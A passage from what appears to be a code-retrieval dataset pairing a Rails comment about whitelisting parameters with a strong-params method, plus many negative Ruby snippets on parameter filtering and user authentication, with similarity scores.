"def my_actions(options)\n @setup = false\n get_template_part(\"custom_used\",\"action_users\",true)\n end",
"def callback_phase\n super\n end",
"def advice\n end",
"def _handle_action_missing(*args); end",
"def call\n setup_context\n super\n end",
"def duas1(action)\n action.call\n action.call\nend",
"def before_action action, &block\n @audience[:before][action] ||= Set.new\n @audience[:before][action] << block\n end",
"def setup_initial_state\n\n state_a = State.new(\"a\", 0)\n state_b = State.new(\"b\", 0)\n state_c = State.new(\"c\", 10)\n\n move_to_b = Action.new(\"move_to_b\", 1, state_b)\n\n move_to_c = Action.new(\"move_to_c\", 1, state_c)\n\n state_a.actions = [move_to_b, move_to_c]\n\n return state_a\n \nend"
] |
[
"0.6163754",
"0.6045816",
"0.5944853",
"0.59169096",
"0.58892167",
"0.58342934",
"0.5776148",
"0.57057375",
"0.57057375",
"0.56534296",
"0.56209534",
"0.54244673",
"0.54101455",
"0.54101455",
"0.54101455",
"0.53951085",
"0.5378493",
"0.53563684",
"0.53399915",
"0.5338049",
"0.53307265",
"0.5312121",
"0.5298173",
"0.5296388",
"0.52952695",
"0.5258086",
"0.52430934",
"0.5237911",
"0.5237911",
"0.5237911",
"0.5237911",
"0.5237911",
"0.52335346",
"0.5232943",
"0.5226392",
"0.52221715",
"0.5217978",
"0.52136153",
"0.52076435",
"0.52067244",
"0.5175402",
"0.5174649",
"0.5173085",
"0.5165201",
"0.5162052",
"0.5157932",
"0.5152905",
"0.5152353",
"0.5150909",
"0.514719",
"0.5138596",
"0.51333916",
"0.51139015",
"0.5113431",
"0.5113431",
"0.5109581",
"0.51066816",
"0.5091428",
"0.5089407",
"0.5082971",
"0.50822043",
"0.50668514",
"0.5055155",
"0.50525695",
"0.50499475",
"0.50499475",
"0.5034445",
"0.50249445",
"0.5022226",
"0.50167644",
"0.5014211",
"0.4999924",
"0.49996212",
"0.49978727",
"0.4989682",
"0.4989682",
"0.49851838",
"0.49817684",
"0.4979687",
"0.49787104",
"0.49688423",
"0.49664098",
"0.49564412",
"0.49561828",
"0.49547398",
"0.4953481",
"0.4952925",
"0.4946049",
"0.494379",
"0.49319315",
"0.49313048",
"0.49269778",
"0.49263066",
"0.49257493",
"0.4924526",
"0.49212465",
"0.49173486",
"0.4915802",
"0.49151486",
"0.49150333",
"0.49147308"
] |
0.0
|
-1
|
Never trust parameters from the scary internet, only allow the white list through.
|
def redaction_params
params.require(:redaction).permit(:picture, :howreceive, :redaction_title)
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def strong_params\n params.require(:user).permit(param_whitelist)\n end",
"def strong_params\n params.require(:listing_member).permit(param_whitelist)\n end",
"def allow_params_authentication!; end",
"def allowed_params\n ALLOWED_PARAMS\n end",
"def default_param_whitelist\n [\"mode\"]\n end",
"def param_whitelist\n [:role, :title]\n end",
"def expected_permitted_parameter_names; end",
"def safe_params\n params.except(:host, :port, :protocol).permit!\n end",
"def strong_params\n params.require(:team_member).permit(param_whitelist)\n end",
"def permitir_parametros\n \t\tparams.permit!\n \tend",
"def strong_params\n params.require(:community).permit(param_whitelist)\n end",
"def permitted_strong_parameters\n :all #or an array of parameters, example: [:name, :email]\n end",
"def strong_params\n params.require(:education).permit(param_whitelist)\n end",
"def restricted_params\n #params.require(self.controller_name.classify.underscore.to_sym).permit([])\n raise(\"No strong params set, override restricted_params method in your controller. E.g. params.require(:model).permit(:attribute1, :attribute2)\")\n end",
"def allowed_params\n params.require(:user).permit(:username, :email, :password, :password_confirmation)\n end",
"def param_whitelist\n [:rating, :review]\n end",
"def param_whitelist\n whitelist = [\n :username, :name,\n :parent_id,\n :headline, :description, :video,\n :policy, :signup_mode, :category,\n :website, :facebook, :twitter, :linkedin,\n :founded_at,\n privacy: [\n :events,\n :resources\n ],\n permission: [\n :profile,\n :members,\n :children,\n :statistics,\n :posts,\n :listings,\n :resources,\n :events\n ],\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:parent_id)\n unless current_user.role_in(@community) === 'owner'\n whitelist.delete(:privacy)\n whitelist.delete(:permission)\n end\n end\n \n whitelist\n end",
"def param_whitelist\n if @user.present? && current_user != @user\n return [:followed]\n end\n \n whitelist = [\n :username, :email, :password,\n :first_name, :last_name,\n :birthday, :gender,\n :headline, :biography, :ask_about, :focus,\n :website, :facebook, :linkedin, :twitter, :github,\n roles: [],\n skills: [],\n interests: [],\n privacy: { contact: [] },\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:email)\n whitelist.delete(:password)\n end\n \n whitelist\n end",
"def user_params \n \tparams.require(:user).permit(:name, :email, :password, :password_confirmation)# preventing CSTR\n end",
"def user_params\n params.permit(:name, :phoneNumber, :address, :postalCode, :local, :link, :counter, :latitude, :longitude) \n end",
"def valid_params_request?; end",
"def strong_params\n params.require(:experience).permit(param_whitelist)\n end",
"def trim_whitelisted(params, whitelist)\n # remove any parameters that are not whitelisted\n params.each do |key, value|\n # if white listed\n if whitelist.include? key\n # strip the parameters of any extra spaces, save as string\n params[key] = value.to_s.strip\n else\n # delete any unauthorized parameters\n params.delete key\n end\n end\n params\n end",
"def whitelist_url_params\n params.require(:whitelist_url).permit(:domain)\n end",
"def allowed_params\n params.require(:allowed).permit(:email)\n end",
"def permitted_params\n []\n end",
"def trim_whitelisted(params, whitelist)\n # remove any parameters that are not whitelisted\n params.each do |key, value|\n # if white listed\n if whitelist.include? key\n # strip the parameters of any extra spaces, save as string\n params[key] = value.to_s.strip\n else\n # delete any unauthorized parameters\n params.delete key\n end\n end\n params\n end",
"def safe_params\n params.permit(:id, :name, :origin, :emails => []); #emails is an array\n end",
"def query_param\n\t\tparams.permit(:first_name, :last_name, :phone)\n\tend",
"def strong_params\n params.require(:success_metric).permit(param_whitelist)\n end",
"def devise_filter\r\n logger.debug(\"In devise_filter =>PARAMS: #{params.inspect}\")\r\n\r\n # White list for sign_up\r\n devise_parameter_sanitizer.for(:sign_up) { |u| u.permit(user_whitelist) }\r\n\r\n # White list for account update\r\n devise_parameter_sanitizer.for(:account_update) { |u| u.permit(user_whitelist, :current_password) }\r\n\r\n # White list for Invitation creation\r\n devise_parameter_sanitizer.for(:invite) { |u| u.permit(:account_type, :email, :invitation_token)}\r\n\r\n # White list for accept invitation\r\n devise_parameter_sanitizer.for(:accept_invitation) { |u| u.permit(user_whitelist, :invitation_token)}\r\n\r\n end",
"def whitelisted_user_params\n params.require(:user).\n permit( :first_name, :last_name, :email,:password,:password_confirmation,:birthday,:gender)\n end",
"def user_params\n ActionController::Parameters.permit_all_parameters = true\n params.require(:user) #.permit(:name, :surname, :phone, :password, :email, :time_zone)\n end",
"def strong_params\n params.require(:metric_change).permit(param_whitelist)\n end",
"def safe_params\n params.require(:user).permit(:name)\n end",
"def get_params\n\t\treturn ActionController::Parameters.new(self.attributes).permit(\"account_id\", \"title\", \"category\", \"introduction\", \"tags\", \"segment_type\", \"visible\", \"status\", \"main_image\")\n\tend",
"def grant_params\n @whitelisted = params.require(:grant).permit(:name, :description, :agency_id, :acronym)\n end",
"def check_params; true; end",
"def param_whitelist\n whitelist = [\n :description,\n :progress,\n :kpi_id\n ]\n \n unless action_name === 'create'\n whitelist.delete(:kpi_id)\n end\n \n whitelist\n end",
"def quote_params\n params.permit!\n end",
"def valid_params?; end",
"def paramunold_params\n params.require(:paramunold).permit!\n end",
"def user_params\n\t\tparams.permit(:nickname, :avatar, :description, :password, :gender, :birthday, :email, :phone, :qq_id, :wechat_id)\n\tend",
"def filtered_parameters; end",
"def user_params\n params.permit(\n \t:id,\n \t:email, \n \t:first_name, \n \t:last_name, \n \t:password, \n \t:confirm_token, \n \t:phone_number,\n \t:facebook_link,\n \t:car_model,\n \t:license_plate)\n end",
"def filtering_params\n params.permit(:email, :name)\n end",
"def check_params\n true\n end",
"def wx_public_params\n params.require(:wx_public).permit(:nickname, :manager, :alias)\n end",
"def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end",
"def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end",
"def listing_params\n\t\tparams.permit(:address, :transit_info, :rules, :other_info, :lat, :lng)\n\tend",
"def social_account_params\n\t\t\tparams.require(:social_account).permit!\n\t\tend",
"def safe_params\n resurce_name = self.class.resource_name\n params_method_name = \"#{resurce_name}_params\".to_sym\n if params[resurce_name]\n if respond_to?(params_method_name) || private_methods.include?(params_method_name)\n send(params_method_name)\n else\n raise ActiveModel::ForbiddenAttributesError, \"Please, define the '#{params_method_name}' method in #{self.class.name}\"\n end\n end\n end",
"def url_params\n params.require(:url).permit(:short_url, :original_url, :clicks, :ip_addresses)\n end",
"def user_params\n params.require(:user).permit(:uri, :username, :password, :realname, :email, :publicvisible)\n end",
"def model_params\n\t\tparams.require(:manager).permit(\n\t :user_name,\n :password,\n :email,\n \t\t\t)\n\tend",
"def article_params_whitelist\n params.require(:article).permit(:title, :description, category_ids: [])\n end",
"def college_whitelist_params\n params.require(:college_whitelist).permit(:status)\n end",
"def active_code_params\n params[:active_code].permit\n end",
"def filtering_params\n params.permit(:email)\n end",
"def valid_params(params)\n params.permit(:user_id, :photo_id, :originX, :originY, :width, :height)\n end",
"def ip_address_params\n\t\t\tparams.require(:ip_address).permit!\n end",
"def pull_request_params\n whitelist = [\n :url,\n :id,\n :html_url,\n :diff_url,\n :patch_url,\n :issue_url,\n :number,\n :state,\n :locked,\n :title\n ]\n params.require(:pull_request).permit(whitelist)\n end",
"def reserved_params\n params.require(:reserved).permit(:name, :email, :pax, :address, :KTP, :title)\n end",
"def post_params\n if current_user.admin? \n params.permit(:title, :body, :city, :country, :gps_location, :privacy, :visible, :latitude, :longitude, images: [], files: [])\n else \n params.permit(:title, :body, :city, :country, :gps_location, :privacy,:latitude, :longitude, images: [], files: [])\n end \n end",
"def list_params\n params.permit(:name)\n end",
"def filter_parameters; end",
"def filter_parameters; end",
"def vineyard_params\n params.permit(:vineyard_name, :email, :website_url, :phone, :address, :city, :region, :postcode, :country, :specialty, :description, :pet_friendly, :holiday, :tours, :events, :family_friendly, :cover_image, :image_one, :image_two, :image_three, :image_four, :user_id, :base64)\n end",
"def available_activity_params\n # params.require(:available_activity).permit(:type,:geometry,:properties)\n whitelisted = ActionController::Parameters.new({\n type: params.require(:available_activity)[:type],\n geometry: params.require(:available_activity)[:geometry].try(:permit!).to_h,\n properties: params.require(:available_activity)[:properties].try(:permit!).to_h\n }).try(:permit!)\n end",
"def user_params\n params.permit(:name, :username, :email, :password, :img_url, :bg_url, :coinbank)\n end",
"def user_params_pub\n\t \tparams[:user].permit(:hruid)\n\t end",
"def user_params\n params.permit(:id, :email, :password, :nickname, :status, :avatar, :flat_picture, :flatsharing_id, :member,\n :user, :color, :solde)\n end",
"def validate_search_inputs\n @whitelisted = params.fetch(:user, nil)\n if @whitelisted.blank?\n render_error(400, \"#{I18n.t('general_error.params_missing_key')}\": [I18n.t('general_error.params_missing_value', model: \"review\")])\n return\n else\n @whitelisted = @whitelisted.permit(:name, :uen, :description)\n end\n end",
"def param_whitelist\n [\n :title,\n :description,\n :organization,\n :team_id,\n :started_at,\n :finished_at,\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n end",
"def url_whitelist; end",
"def admin_social_network_params\n params.require(:social_network).permit!\n end",
"def filter_params\n params.require(:filters).permit(:letters)\n end",
"def origin_params\n params.permit(:country, :state, :city, :postal_code, :address, :description)\n end",
"def valid_params(params)\n params.permit(:login, :first_name, :last_name, \n :password, :password_confirmation)\n end",
"def sensitive_params=(params)\n @sensitive_params = params\n end",
"def permit_request_params\n params.permit(:address)\n end",
"def user_params\n # Ensure a user can't give themselves admin priveleges\n params.delete(:admin) if current_user.admin?\n params.require(:user).permit(:name, :email, :admin, :image)\n end",
"def secure_params\n params.require(:location).permit(:name)\n end",
"def strong_params\n params.require( :setting ).\n permit( :global_scan_limit, :per_user_scan_limit,\n :target_whitelist_patterns, :target_blacklist_patterns )\n end",
"def question_params\n params.require(:survey_question).permit(question_whitelist)\n end",
"def case_insensitive_params\n params.require(:case_insensitive).permit(:name)\n end",
"def empire_master_no_match_params\n params.require(:empire_master_no_match).permit(:uid, :last_name, :list, :search_date, :double, :source)\n end",
"def maintenance_request_params\n params[:maintenance_request].permit! #allow all parameters for now\n end",
"def unwanted_params\n params.require(:unwanted).permit(:title, :description, :image)\n end",
"def url_params\n params[:url].permit(:full)\n end",
"def backend_user_params\n params.permit!\n end",
"def filter_params\n\t\treturn params[:candidate].permit(:name_for_filter)\n\tend",
"def speed_measurement_params\n\n #fuckit, to lazy to deal with permit crap right now\n ActionController::Parameters.permit_all_parameters = true\n\n params[:speed_measurement]\n end",
"def user_params\n params.permit(:name, :age, :username, :display_photo, :password)\n end",
"def get_params\r\n #params.require(:article).permit(:title, :permalink, :content, :source_site, :introtext, :type_id, :order_by, :searchable, :created_by, :edited_by, :published_by, :published_on, :user_id)\r\n params.require(:article).permit!\r\n\r\n end",
"def pub_params\n params.require(:pub).permit(:name, :description, :phone, :email, :hidden, :city_id, :address)\n end",
"def pass_params\n params[:pass].permit(:name, :price, :description, :colour, :events)\n end",
"def droptraining_params\n params.permit(:training_id,:user_id, :utf8, :authenticity_token, :commit)\n end",
"def person_params\n # params whitelist does *not* include admin, sub, remember_token\n # TBD: share this whitelist with the list used by configuration_permitted_parameters\n # TBD: should current_password be on this list? -- for now, leaving off, since it seems to work without\n # NOTE: do not include 'admin' in this list!\n params.require(:person).permit(\n :name, \n :email, \n :description,\n :password, \n :password_confirmation\n )\n end",
"def parameter_params\n params.require(:parameter).permit(:name, :description, :param_code, :param_value, :active_from, :active_to)\n end"
] |
[
"0.69792545",
"0.6781151",
"0.67419964",
"0.674013",
"0.6734356",
"0.6591046",
"0.6502396",
"0.6496313",
"0.6480641",
"0.6477825",
"0.64565",
"0.6438387",
"0.63791263",
"0.63740575",
"0.6364131",
"0.63192815",
"0.62991166",
"0.62978333",
"0.6292148",
"0.6290449",
"0.6290076",
"0.62894756",
"0.6283177",
"0.6242471",
"0.62382483",
"0.6217549",
"0.6214457",
"0.6209053",
"0.6193042",
"0.6177802",
"0.6174604",
"0.61714715",
"0.6161512",
"0.6151757",
"0.6150663",
"0.61461",
"0.61213595",
"0.611406",
"0.6106206",
"0.6105114",
"0.6089039",
"0.6081015",
"0.6071004",
"0.60620916",
"0.6019971",
"0.601788",
"0.6011056",
"0.6010898",
"0.6005122",
"0.6005122",
"0.6001556",
"0.6001049",
"0.59943926",
"0.5992201",
"0.59909594",
"0.5990628",
"0.5980841",
"0.59669393",
"0.59589154",
"0.5958826",
"0.5957911",
"0.5957385",
"0.5953072",
"0.59526145",
"0.5943361",
"0.59386164",
"0.59375334",
"0.59375334",
"0.5933856",
"0.59292704",
"0.59254247",
"0.5924164",
"0.59167904",
"0.59088355",
"0.5907542",
"0.59064597",
"0.5906243",
"0.5898226",
"0.589687",
"0.5896091",
"0.5894501",
"0.5894289",
"0.5891739",
"0.58860534",
"0.5882406",
"0.587974",
"0.58738774",
"0.5869024",
"0.58679986",
"0.5867561",
"0.5865932",
"0.5864461",
"0.58639693",
"0.58617616",
"0.5861436",
"0.5860451",
"0.58602303",
"0.5854586",
"0.58537364",
"0.5850427",
"0.5850199"
] |
0.0
|
-1
|
Service entry point return valid user object
|
def call
{
user: user,
email: decoded_auth_token['email'],
orgnaization_id: decoded_auth_token['orgnaization_id'],
slug: decoded_auth_token['slug']
}
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def valid_user(params)\n return @user unless @user.nil?\n\n if params && !params.empty?\n return User.find_by_authentication_code( params )\n else\n return nil\n end\n end",
"def validate_user\n\n cache_data = CacheManagement::User.new([@user_id]).fetch\n @user = cache_data[@user_id]\n\n return validation_error(\n 'e_sam_2',\n 'invalid_api_params',\n ['invalid_user_id'],\n GlobalConstant::ErrorAction.default\n ) if @user.blank?\n\n return error_with_data(\n 'e_sam_3',\n 'user_not_verified',\n GlobalConstant::ErrorAction.default,\n {}\n ) if @user[:properties].exclude?(GlobalConstant::User.is_user_verified_property)\n\n success\n\n end",
"def fetch_and_validate_user\n @user = User.using_client_shard(client: @client).where(client_id: @client_id, email: @email).is_active.first\n return error_with_identifier('invalid_api_params',\n 'um_u_c_ve_2',\n ['user_already_present']\n ) if @user.present?\n\n success\n end",
"def api_user\n user = User.find_by_email(email)\n unless user.present?\n errors.add :message, \"Invalid email\"\n return nil\n end\n\n unless user.authenticate(password)\n errors.add :message, \"Invalid password\"\n return nil\n end\n\n return user\n end",
"def user\n User.get user_id || User.new\n end",
"def valid_user\n User.new(name: \"John Smith\",\n email: \"[email protected]\",\n password: \"password\",\n password_confirmation: \"password\")\nend",
"def check_user(user)\r\n user = Arango::User.new(user: user) if user.is_a?(String)\r\n return user\r\n end",
"def user\n @user ||= User.find(\n params[:user_id] ) # needs to raise exception if user not found\n end",
"def fetch_user\n\n @user = User.where(id: @user_validation_hash_obj.user_id).first\n\n return validation_error(\n 'um_rp_9',\n 'invalid_api_params',\n ['invalid_r_t'],\n GlobalConstant::ErrorAction.default\n ) if @user.blank? || [email protected]_eligible_for_reset_passowrd?\n\n success\n\n end",
"def user\n user = User.find_by_email(email)\n return user if user && user.authenticate(password)\n errors.add :user_authentication, 'invalid credentials'\n nil\n end",
"def fetch_user\n @user = User.where(email: @email).first\n\n return validation_error(\n 'um_srpl_1',\n 'invalid_api_params',\n ['unrecognized_email'],\n GlobalConstant::ErrorAction.default\n ) unless @user.present? && (@user.status == GlobalConstant::User.active_status)\n\n success\n\n end",
"def user\n return User.new\n end",
"def user\n user = User.find_by_email(email)\n return user if user&.authenticate(password)\n\n errors.add :user_authentication, 'invalid credentials'\n nil\n end",
"def user\n\t\taccount = Account.find_by_email(email)\n\t\t# If everything is true, the user will be returned\n\t\treturn account if account && account.valid_password?(password) #account.authenticate(password) #user&.authenticate?(password) #user && user.authenticate(password) \n\t\t# If not, the method will return nil\n\t\terrors.add :user_authentication, 'invalid credentials' \n\t\tnil \n\tend",
"def get_user\n @user = User.find_by_id(params[:id])\n if @user \n return @user\n else \n render json: {\"message\": {\"type\": \"error\", \"content\": \"The user could not be found!\"}}\n end\n end",
"def valid_user?(username, password)\n user_obj = User.find_by(username: username).try(:authenticate, password)\n if !user_obj \n raise 'Username or password is invalid'\n end\n user_obj\n end",
"def find_user\n\n @user = User.using_client_shard(client: @client).get_from_memcache(@user_id)\n\n return error_with_data(\n 'sm_gud_fu_1',\n 'Invalid user id',\n 'Invalid user id',\n GlobalConstant::ErrorAction.default,\n {},\n {}\n ) if @user.blank? || @user.client_id != @client_id\n\n success\n end",
"def get_user(user_id)\n return User.find(user_id)\n end",
"def fetch_user\n @user = User.using_client_shard(client: @client).where(client_id: @client_id, email: @email).first\n\n return error_with_data(\n 'um_srpl_2',\n 'User not present',\n '',\n GlobalConstant::ErrorAction.default,\n {},\n {email: 'This user is not registered or is blocked'}\n ) unless @user.present? && @user.password.present? && (@user.status == GlobalConstant::User.active_status)\n\n success\n end",
"def expose_user\n unless params[:user_token].blank?\n @user = User.where(hex: params[:user_token]).first\n end\n end",
"def get_user\n \n # Retrieve user id if stored in a cookies\n # @TODO Secure ID when stored in cookies\n if cookies[:user]\n return User.find(cookies[:user])\n\n # Retrieve user id if stored in session\n elsif session[:user]\n return User.find(session[:user])\n\n # No user logged in\n else\n return nil\n end\n\n end",
"def user\n @user = users(:exist)\n end",
"def user\n @user ||= build_resource(User)\n end",
"def user\n user = User.find_by_email(email)\n # return the user if a user with that email is found and the password is valid\n return user if user && user.authenticate(password)\n #.authenticate is an ActiveModel::SecurePassword method\n #.authenticate is included via ActiveRecord inheritance and using has_secure_password in the User model\n #.authenticate returns self if password is correct, otherwise returns false\n\n # Otherwise, add this message to error messages & return nothing\n errors.add(:user_authentication, 'This email and password combination is invalid.')\n nil\n end",
"def user_obj\r\n User.select(:name).where(id: object.user_id).last || User.new(name: \"Not Found\")\r\n end",
"def user\n # 自インスタンスのuser_idの値に紐付くuserインスタンスを戻り値として返す\n return User.find(self.user_id)\n end",
"def load_valid_user\n load_user_from_param\n redirect_no_user\n end",
"def check\n api.get_user\n end",
"def user\n # find a User matching the decoded token if the decode operation was successfull\n user = User.find(decoded_auth_token[:user_id]) if decoded_auth_token\n\n if user\n # return the user if active\n return user if user.active\n\n # Else raise a JWTException Inactive Account\n raise(API::JWTExceptionHandler::InactiveAccount, APIMessages.account_not_active)\n end\n rescue ActiveRecord::RecordNotFound => e\n # Raise an Invalid Token if there is no matching User from db\n raise(API::JWTExceptionHandler::InvalidToken, (\"#{APIMessages.invalid_token} #{e.message}\"))\n end",
"def user_from_params\n name = user_params.delete(:name)\n service = user_params.delete(:service)\n email = user_params.delete(:email)\n country = user_params.delete(:country)\n price = user_params.delete(:price)\n password = user_params.delete(:password)\n\n Clearance.configuration.user_model.new(user_params).tap do |user|\n user.name = name\n user.password = password\n user.service = service\n user.email = email\n user.country = country\n user.price = price\n end\n end",
"def get_user()\n user = User.first(:id => self.user_id)\n if !user\n user = User.new\n user.login = \"anon\"\n end\n return user\n end",
"def valid_user?\n client.valid_user?(user_repo, @options)\n end",
"def user\n return unless user_id && user_type\n return @user if instance_variable_defined?('@user')\n\n @user = user_type.constantize.find_by(id: user_id)\n end",
"def get_user \n\t\treturn User.find(self.user_id)\n\tend",
"def make_user\n end",
"def user\n UserRepository.find(user_id)\n end",
"def get_user(id)\n begin\n user = JSON.parse(RestClient.get construct_url(\"user/#{id}\"))\n rescue RestClient::ResourceNotFound => e\n @last_error = e.http_body\n @last_error_code = e.http_code\n false\n end\n end",
"def user_from_resource\n user = Mash.new\n user['type'] = 'User'\n user['api_version'] = 'core/v2'\n user['metadata'] = {}\n user['spec'] = {}\n user['spec']['username'] = new_resource.username\n user['spec']['password_hash'] = new_resource.password_hash\n user['spec']['disabled'] = new_resource.disabled if new_resource.disabled\n user['spec']['groups'] = new_resource.groups if new_resource.groups\n user\n end",
"def user_instance(username)\n User.new(new_username: username, forename: 'forename', surname: 'surname',\n email_address: '[email protected]', email_address_confirmation: '[email protected]',\n new_password: 'P@ssword001', new_password_confirmation: 'P@ssword001',\n user_is_current: 'Y')\n end",
"def user(user, allow_nil = true)\n # need to check with #nil?, as #blank? executes a db query and guest users are not in db\n raise ArgumentError, \"User was not valid, got '#{user.class}'.\" if !user.nil? && !user.respond_to?(:user_name)\n raise ArgumentError, 'User was not valid.' if !allow_nil && user.nil?\n\n user\n end",
"def get_user\n @user = User.find(params[:user_id])\n end",
"def get_user \n @user = User.find(params[:id])\n end",
"def user?\n @user = User.find_by(email: @email) if @userinfo\n\n # No user with that email so create the user with auth0_id.\n create_user_and_login @userinfo if @user.nil?\n end",
"def find_user\n raise ExceptionTypes::BadRequestError.new(\"user_id must be present\") unless params[:user_id].present?\n \n @user = User.find(params[:user_id])\n end",
"def get_user\n @user = User.find(params[:user_id])\n end",
"def user_from_json\n json = JSON.parse request.body\n\n username = json['authentication']['email']\n password = json['authentication']['password']\n\n if user = User.authenticate(email, password)\n user\n else\n nil\n end\n end",
"def user\n @user ||= User.find(decoded_auth_token[:user_id]) if decoded_auth_token\n @user || errors.add(:token, 'Invalid Token') && nil\n end",
"def user_from_params\n email = user_params.delete(:email)\n password = user_params.delete(:password)\n firstname = user_params.delete(:firstname)\n lastname = user_params.delete(:lastname)\n\n Clearance.configuration.user_model.new(user_params).tap do |user|\n user.email = email\n user.password = password\n user.firstname = firstname\n user.lastname = lastname\n end\n end",
"def validate_user\n @user = User.find_by_email(params[:email])\n if !@user \n render 'failure', :locals => {:message => 'User not found', :details => \"User: #{params[:email]}\"}\n end\n end",
"def user\n return self['user'] if self['user'].is_a?(User)\n User.new(self['user']) if self['user']\n end",
"def request_user\n # request_valid? is called first which creates a @session instance\n # variable which acts like the global session object of a normal request.\n @request_user ||= User.find(@session[:user_id]) if request_valid?\n end",
"def user() @user = DiggUser.new end",
"def get_user\n @user\n end",
"def get_user\n @user\n end",
"def get_user(params)\n \n \n puts \"---------- New usrs ----------- Get user --------\"\n \t\n \tputs params.inspect\n \n \n @user = User.find_by_email( params[:user][\"email\"])\n\tif (@user == nil)\n\t\t@user = User.new(params[:user])\n\t\tputs \"creatign a new user\"\n\t\n\telse\n\t\[email protected]_attributes(params[:user])\n\t\tputs \"updatting skeleton user\"\n\t\tputs \"--------------------------------------\"\n\t\tputs params.inspect\n\t\tputs \"--------------------------------------\"\n\t\tputs \"--------------------------------------\"\n\t\n\tend\n \treturn @user\n end",
"def check_user\n return nil unless userlogin_signed_in?\n\n User.find_by(email: current_userlogin.email)\n end",
"def get_user\n return if @user # no extra http calls\n url = URI.escape(\"#{@options[:cas_server]}/#{@options[:uid]}.#{@options[:format]}\")\n response = Casport.get(url)\n if response.success?\n @user = response.parsed_response\n else\n @user = nil\n end\n end",
"def verify_user_authentication\n\t\t\tuser = User.get_authentication_user(params[:U], params[:S])\n\t\t\tif user\n\t\t\t\treturn user\n\t\t\telse\n\t\t\t\tre = ApiReturn.new(\"005\")\n\t\t\t\treturn_response(re)\n\t\t\t\treturn nil\n\t\t\tend\n\t\tend",
"def require_valid_user!\n return true\n end",
"def user\n @user ||= users.first || users.build\n end",
"def user\n @user ||= User.find(user_id)\n end",
"def user\n @user ||= User.new\n end",
"def validate_user\n \tauthorized_user = nil\n @user = User.new(user_sign_in_params)\n\n if @user.status == \"Active\"\n puts \"user : #{@user.inspect}\"\n\n u = User.where(:email => @user.email).first\n # puts \"user_extracted : #{u.inspect}\"\n\n if u.blank?\n flash[:notice] = \"user with email #{@user.email} doesnot exist\"\n else\n d_pass = decrypt(u.password)\n # puts \"#{d_pass}\"\n if d_pass == @user.password\n if u.is_first_logged_in\n if u.is_super_user\n @user = User.find(u.id)\n @user.last_logged_in = DateTime.now.utc\n if @user.is_first_logged_in == false\n @user.is_first_logged_in = true\n end\n @user.save\n authorized_user = @user\n elsif u.is_owner\n @user = User.find(u.id)\n @user.last_logged_in = DateTime.now.utc\n if @user.is_first_logged_in == false\n @user.is_first_logged_in = true\n end\n @user.save\n authorized_user = @user\n else\n flash[:notice] = \"User cannot log in !! only admin/owner can\"\n end\n else\n \tu.is_first_logged_in = true\n flash[:notice] = \"confirm email\"\n end\n else\n flash[:notice] = \"Incorrect password\"\n \n end\n end\n else\n flash[:notice] = \"User has been deleted\"\n end\n if authorized_user\n \t# TODO: mark user as logged in\n \tsession[:user_id] = authorized_user.id\n \tsession[:email] = authorized_user.email\n \t\n\t flash[:notice] = \"You are now logged in.\"\n\t redirect_to(:controller => 'home',:action => 'index')\n else\n \[email protected]_attempts += 1\n @user.save\n render('login')\n end\n end",
"def user_set\n return true if no_user_validation\n\n unless user\n errors.add :user, 'must be authenticated and set'\n logger.warn \"User is not set. Failed user_set validation for #{inspect}\"\n end\n user\n end",
"def user\n return User.current unless user_id\n user = User.get_from_cache(user_id)\n user || User.first({:id => user_id})\n end",
"def create\n user_response = API::V1::Users.authenticate params.as_json\n if user_response.success?\n json = HashWithIndifferentAccess.new(user_response.parsed_response)\n auth_response = API::V1::Auth.issue json[:data]\n respond_with auth_response.body, auth_response.code\n else\n respond_with nil, :unauthorized\n end\n end",
"def user\n parse!\n @user\n end",
"def user(reload = false)\n self.cache(CostAgent::User, self.username, reload) do\n data = self.client(\"verify\").get.headers\n [User.new(\n :id => data[:user_id],\n :permissions => data[:user_permission_level],\n :company_type => data[:company_type])]\n end.first\n end",
"def call(_obj, args, _ctx)\n input = args[:email]\n return unless input\n\n user = User.find_by(email: input[:email])\n return unless user\n return unless user.authenticate(input[:password])\n token = JsonWebToken.encode(id: user.id)\n\n OpenStruct.new(\n token: token,\n user: user\n )\n end",
"def validate_user\n return unauthorized_access_response('um_gbd_vu_1') if @user.blank? || (@user.client_id != @client_id)\n success\n end",
"def find_user(user_name)\n # begin\n return Mixcloud::User.new(\"http://api.mixcloud.com/#{user_name}/\")\n # rescue Exception => e\n abort(\"User #{user_name} not found on Mixcloud, aborting. - #{e.inspect}\")\n # end\nend",
"def authenticated_user\n user if valid? && user&.authenticated?(password)\n end",
"def main\n @user = User.new\n end",
"def user\n Reggora::Resources::User.new(config)\n end",
"def user; User.find_by_id(user_id); end",
"def valid_user(user_id)!\n user = User.find(user_id)\n if user\n p \"valid user!!!!!!!!!\"\n if user_id && params[:token] == user.token\n @current_user = user\n @verified_request = true\n p \"valid request!\"\n else\n p \"Salted Token Error\"\n render :json => { :success => false, :message => 'Salted Token Error' }, :status => 401\n end\n else\n p \"user not found :( \"\n #TODO: Hide this error in the future\n render :json => { :success => false, :message => 'User not found!' }, :status => 404\n end\n end",
"def auth_user\n User.find(auth_user_id) unless auth_user_id.nil?\n end",
"def find_user(user_id)\n user = User.find(user_id)\n user\n end",
"def check_for_user\n if current_user\n @user = current_user\n else\n @user = {}\n end\n render json: @user\n end",
"def find_user\n @user = User.find(params[:id])\n authorize @user\n end",
"def call\n user = User.find(email: @email)\n\n return user if user&.authenticate(@password)\n\n raise(Exceptions::InvalidEmailOrPassword)\n end",
"def user_from_omni omni=@omni\n #raise omni.to_yaml\n return User.new(\n :email => omni[:info][:email],\n :name => omni[:info][:name],\n :password => pw=Devise.friendly_token[0,20],\n :password_confirmation => pw\n )\n end",
